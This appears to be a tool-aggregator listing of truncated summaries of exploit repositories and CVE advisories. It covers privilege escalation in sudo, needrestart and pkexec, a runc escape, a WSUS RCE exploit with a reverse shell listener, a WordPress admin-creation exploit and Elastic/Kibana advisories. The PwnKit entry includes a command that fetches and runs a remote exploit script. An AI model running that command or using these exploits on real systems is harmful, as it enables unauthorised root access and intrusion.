CVE-2025-32463

README - sudo-chwoot.sh Description Ce script est une preuve de concept PoC qui démontre une technique d'élévation de privilèges exploitant une vulnérabilité théorique dans 'sudo' ex. CVE-2025-32463. Le PoC force 'sudo' à charger une bibliothèque .so manipulée en exploitant la fonctionnalité '-R'...

CVE-2023-45992

CVE-2023-45992 Ruckus CloudPath 5.12 build 5538 이하의 취약점으로 인해 원격의 인증되지 않은 공격자가 Stored Cross-Site Scripting 및 Cross-Site Request Forgery 취약점을 악용하여 조작된 스크립트를 통해 전체 관리자 권한을 획득할 수 있습니다. 2023년 10월 16일, 공급업체는 이 취약점을 해결한 버전 5.12 build 5550을 출시했습니다. POC 취약점의 기술적 세부 사항은 향후 공개될 예정입니다. References...

WHOREPRESS

Wordpress login checker Install root@kitploit: npm install --global whorepress Usage make sure you have a list with format url:username:pass root@kitploit: whorepress list.txt Arguments list Arguments| Description ---|--- --admin-only| check only for admin priviledge --debug| debug error output...

-Linux-PrivEsc-CVE-2024-48990

Privesc-need-restart-2024-48990 Explication de l'exploit CVE-2024-48990 - Pure Python Ce script exploite la vulnérabilité CVE-2024-48990 dans l'utilitaire needrestart de Linux par le détournement du chemin des bibliothèques PYTHONPATH hijacking. Contrairement au vecteur original, cette méthode...

CVE-2024-21626-runcPOC

Vulnerability Reproduction CVE-2024-21626 docker runc Escape Vulnerability 1. Vulnerability Overview Vulnerability Name| docker runc Escape Vulnerability ---|--- CVE ID| CVE-2024-21626 Disclosure Date| 2024-01-31 Characteristic| / Affected Versions| runc @ v1.0.0-rc93, 1.1.11 2. Exploitation &...

CVE-2026-21533_Scanner.py

CVE-2026-21533 스캐너: Windows RDP 로컬 권한 상승 탐지 도구 이 저장소는 Windows 원격 데스크톱 서비스RDS의 권한 관리 결함으로, 로컬 공격자가 권한을 SYSTEM으로 상승시킬 수 있는 CVE-2026-21533 취약점을 위한 탐지 도구를 포함하고 있습니다. 중요: 이 스크립트는 교육용 및 탐지용 개념 증명PoC 입니다. 그 목적은 시스템 관리자와 보안 팀블루 팀이 네트워크에서 잠재적으로 취약한 시스템을 신속하게 식별하도록 돕는 것입니다. 이는 익스플로잇이 아니며 권한 상승을 실행하는 코드를 포함...

CVE-2025-65817

CVE-2025-65817 필드| 값 ---|--- 제목| 취약점 보고서: LSC Smart Connect Camera 날짜| 2024-02-15 설명| SD 카드 업데이트 훅을 악용하여 LSC Smart Connect 카메라에서 원격 셸을 생성. 태그| iot, 취약점, cve 펌웨어| 1.14.13 LSC Smart Connect Camera 취약점 보고서 발견된 취약점은 startapp.sh의 업데이트 시스템, 특히 SD 카드 마운트와 update.nor.sh 파일을 이용하는 것입니다. 구성 변수 root@kitploit...

CVE-2025-59287

CVE-2025-59287 WSUS RCE 익스플로잇 WSUSWindows Server Update Services의 인증되지 않은 원격 코드 실행 취약점을 위한 자동화된 익스플로잇입니다. 취약점 세부 정보 CVE ID: CVE-2025-59287 CVSS 점수: 9.8 치명적 공격 경로: 네트워크 인증: 필요 없음 영향: SYSTEM 권한으로 원격 코드 실행 기능 ✅ 완전 자동화된 페이로드 생성 ✅ ysoserial.NET 종속성 자동 다운로드 ✅ 내장 리버스 셸 리스너 ✅ 크로스 플랫폼 지원 Windows/Linux/Mac...

AWSGoat

AWSGoat : A Damn Vulnerable AWS Infrastructure Compromising an organization's cloud infrastructure is like sitting on a gold mine for attackers. And sometimes, a simple misconfiguration or a vulnerability in web applications, is all an attacker needs to compromise the entire infrastructure. Since...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...

CVE-2025-3102

CVE-2025-3102 🛠️ SureTriggers Exploit Script This script is used to identify and exploit security vulnerabilities in the SureTriggers plugin on WordPress sites using a vulnerable version ≤ v1.0.78. If successful, the script will automatically create a WordPress admin account. ⚙️ Features Detection...

CVE-2026-79989

The vulnerability allows any authenticated user to change their own password without providing the current password or having an active elevated session. It also allows the attacker to change other users’ passwords if the attacker’s account has Edit users permission which doesn’t allow changing...

CVE-2026-78600

Incomplete Cleanup CWE-459 in Elastic Cloud on Kubernetes ECK can lead to unauthorized access via Privilege Abuse CAPEC-122. Authentication credentials persist after a cross-namespace association has been denied by RBAC enforcement, allowing a low-privileged tenant to retain unauthorized read...

CVE-2026-78604

Incorrect Permission Assignment for Critical Resource CWE-732 in Elastic Agent can lead to local privilege escalation via Replace Binaries CAPEC-642. On Windows systems where Elastic Agent is installed in unprivileged mode, resources used by the agent service are created with access controls...

CVE-2026-78601

Missing Authorization CWE-862 in Kibana can lead to information disclosure via Privilege Abuse CAPEC-122. An authorization control was not applied to a Kibana Entity Store configuration operation, allowing an authenticated user with elevated Kibana privileges to indirectly cause a background task...

CVE-2026-78599

Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' CWE-22 in the Kibana Fleet feature can lead to the unauthorized deletion of internal resources via Path Traversal CAPEC-126. A low-privileged user holding Fleet write access could cause a subsequent administrative delete...

CVE-2026-78587

Incorrect Authorization CWE-863 in Fleet Server can lead to a denial of service of agent upload operations via Privilege Abuse CAPEC-122. Fleet Server does not correctly verify session ownership during multi-part data upload operations, allowing any authenticated agent to interfere with the activ...

CVE-2026-78590

Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' CWE-22 in the Kibana Fleet feature can lead to the unauthorized deletion of privileged resources via Path Traversal CAPEC-126. A low-privileged user holding Fleet Settings write access could cause a subsequent...

CVE-2026-78591

Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' CWE-22 in the Kibana Fleet feature can lead to the unauthorized deletion of resources via Path Traversal CAPEC-126. A low-privileged user could cause a subsequent action taken by a higher-privileged user in the Fleet...

CVE-2024-7956

A vulnerability exists in the affected products that allows a threat actor to gain access to user’s projects. To exploit this vulnerability the threat actor must have basic user privileges. If exploited, the threat actor can modify and delete the project...